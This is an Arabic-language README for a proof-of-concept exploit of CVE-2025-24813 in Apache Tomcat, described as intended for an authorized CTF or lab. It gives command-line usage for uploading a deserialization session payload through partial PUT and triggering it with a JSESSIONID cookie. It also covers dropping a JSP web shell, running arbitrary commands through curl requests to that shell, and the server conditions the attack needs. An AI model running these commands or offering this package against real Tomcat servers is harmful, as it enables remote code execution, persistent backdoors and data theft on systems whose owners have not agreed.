
الحمولة الصحيحة لـ CVE في Java
PoC لبيئة CTF/مختبر مصرح بها. يستغل ثغرة CVE-2025-24813 عبر الكتابة الجزئية لملف جلسة Tomcat باستخدام PUT، ثم يطلق إلغاء التسلسل باستخدام JSESSIONID.
requestsjava و javac)commons-collections-3.2.1.jar الموضوع في هذا المجلدysoserial غير مطلوب.
poc_cve_2025_24813.py: غلاف Python يؤتمت التوليد والرفع والإطلاق.GenerateTomcatSessionPayload.java: يولّد جلسة Tomcat صالحة تحتوي على gadget CommonsCollections.commons-collections-3.2.1.jar: تبعية الـ gadget.sh.jsp: شيل JSP اختياري يُنشر بواسطة --drop-shell.ضع شيل JSP في جذر الويب الافتراضي /opt/tomcat/webapps/ROOT:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
تنفيذ أمر مباشر دون وضع شيل:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
إذا كان جذر الويب مختلفًا:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
إذا تم نقل ملف JAR، فحدد مساره:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
إذا نجح --drop-shell:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet قابل للكتابة، عادةً بإعداد readonly=false.PersistentManager و FileStore.commons-collections.السلوك المتوقع أثناء الرفع غالبًا ما يكون HTTP 409 Conflict على:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
ثم يتم إطلاق إلغاء التسلسل باستخدام:
Cookie: JSESSIONID=.<session-id>